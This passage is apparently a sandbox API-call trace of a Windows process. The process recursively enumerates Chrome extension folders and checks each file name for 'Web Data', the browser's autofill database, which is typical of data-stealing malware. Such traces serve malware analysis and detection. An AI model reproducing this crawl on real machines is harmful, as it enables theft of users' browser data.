IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.381] lstrlenA (lpString="\\") returned 1 [0056.381] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.381] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.381] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.381] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.381] lstrlenA (lpString="zh_CN") returned 5 [0056.381] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2e0218 [0056.381] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.381] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN" [0056.381] LocalFree (hMem=0x2e0108) returned 0x0 [0056.381] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN") returned 136 [0056.381] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN") returned 136 [0056.381] lstrlenA (lpString="\\*.*") returned 4 [0056.381] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2e0330 [0056.381] lstrcpyA (in: lpString1=0x2e0330, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN" [0056.381] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\*.*" [0056.381] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.381] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.382] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.382] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.382] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.382] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.382] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.382] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.382] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.382] LocalFree (hMem=0x2e0330) returned 0x0 [0056.382] LocalFree (hMem=0x2e0218) returned 0x0 [0056.382] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.382] lstrcmpiA (lpString1=".", lpString2="zh_TW") returned -1 [0056.382] lstrcmpiA (lpString1="..", lpString2="zh_TW") returned -1 [0056.382] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.382] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.382] lstrlenA (lpString="\\") returned 1 [0056.382] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.382] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.382] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.382] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.382] lstrlenA (lpString="zh_TW") returned 5 [0056.382] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2e0218 [0056.382] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.382] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW" [0056.382] LocalFree (hMem=0x2e0108) returned 0x0 [0056.382] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW") returned 136 [0056.382] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW") returned 136 [0056.382] lstrlenA (lpString="\\*.*") returned 4 [0056.382] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2e0330 [0056.382] lstrcpyA (in: lpString1=0x2e0330, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW" [0056.382] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\*.*" [0056.382] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.382] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.382] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.382] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.382] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.382] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.382] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.382] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.382] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.382] LocalFree (hMem=0x2e0330) returned 0x0 [0056.382] LocalFree (hMem=0x2e0218) returned 0x0 [0056.382] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0 [0056.382] FindClose (in: hFindFile=0x2dc878 | out: hFindFile=0x2dc878) returned 1 [0056.383] LocalFree (hMem=0x2dfff8) returned 0x0 [0056.383] LocalFree (hMem=0x2dfee8) returned 0x0 [0056.383] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.383] lstrcmpiA (lpString1=".", lpString2="_metadata") returned -1 [0056.383] lstrcmpiA (lpString1="..", lpString2="_metadata") returned -1 [0056.383] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0") returned 121 [0056.383] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0") returned 121 [0056.383] lstrlenA (lpString="\\") returned 1 [0056.383] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x2dfde0 [0056.383] lstrcpyA (in: lpString1=0x2dfde0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0" [0056.383] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\" [0056.383] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\") returned 122 [0056.383] lstrlenA (lpString="_metadata") returned 9 [0056.383] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dfee8 [0056.383] lstrcpyA (in: lpString1=0x2dfee8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\" [0056.383] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\", lpString2="_metadata" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata" [0056.383] LocalFree (hMem=0x2dfde0) returned 0x0 [0056.383] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata") returned 131 [0056.383] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata") returned 131 [0056.383] lstrlenA (lpString="\\*.*") returned 4 [0056.383] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dfff8 [0056.383] lstrcpyA (in: lpString1=0x2dfff8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata" [0056.383] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\*.*" [0056.383] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.383] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.383] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.383] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.383] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.383] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.383] StrStrIA (lpFirst="verified_contents.json", lpSrch="Web Data") returned 0x0 [0056.383] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0 [0056.383] FindClose (in: hFindFile=0x2dc878 | out: hFindFile=0x2dc878) returned 1 [0056.383] LocalFree (hMem=0x2dfff8) returned 0x0 [0056.383] LocalFree (hMem=0x2dfee8) returned 0x0 [0056.383] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0 [0056.383] FindClose (in: hFindFile=0x2dc838 | out: hFindFile=0x2dc838) returned 1 [0056.383] LocalFree (hMem=0x2decd0) returned 0x0 [0056.383] LocalFree (hMem=0x2debc8) returned 0x0 [0056.383] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 0 [0056.383] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.383] LocalFree (hMem=0x2dd9c0) returned 0x0 [0056.383] LocalFree (hMem=0x2dd8c0) returned 0x0 [0056.383] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.383] lstrcmpiA (lpString1=".", lpString2="felcaaldnbdncclmgdcncolpebgiejap") returned -1 [0056.383] lstrcmpiA (lpString1="..", lpString2="felcaaldnbdncclmgdcncolpebgiejap") returned -1 [0056.384] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.384] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.384] lstrlenA (lpString="\\") returned 1 [0056.384] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x2dd7e0 [0056.384] lstrcpyA (in: lpString1=0x2dd7e0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0056.384] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0056.384] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned 81 [0056.384] lstrlenA (lpString="felcaaldnbdncclmgdcncolpebgiejap") returned 32 [0056.384] LocalAlloc (uFlags=0x40, uBytes=0xf2) returned 0x2dd8c0 [0056.384] lstrcpyA (in: lpString1=0x2dd8c0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0056.384] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpString2="felcaaldnbdncclmgdcncolpebgiejap" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap" [0056.384] LocalFree (hMem=0x2dd7e0) returned 0x0 [0056.384] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap") returned 113 [0056.384] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap") returned 113 [0056.384] lstrlenA (lpString="\\*.*") returned 4 [0056.384] LocalAlloc (uFlags=0x40, uBytes=0xf6) returned 0x2dd9c0 [0056.384] lstrcpyA (in: lpString1=0x2dd9c0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap" [0056.384] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\*.*" [0056.384] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\*.*", lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 0x2dc7f8 [0056.384] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.384] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 1 [0056.384] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.384] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.384] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 1 [0056.384] lstrcmpiA (lpString1=".", lpString2="1.1_0") returned -1 [0056.384] lstrcmpiA (lpString1="..", lpString2="1.1_0") returned -1 [0056.384] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap") returned 113 [0056.384] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap") returned 113 [0056.384] lstrlenA (lpString="\\") returned 1 [0056.384] LocalAlloc (uFlags=0x40, uBytes=0xf3) returned 0x2deac8 [0056.384] lstrcpyA (in: lpString1=0x2deac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap" [0056.384] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 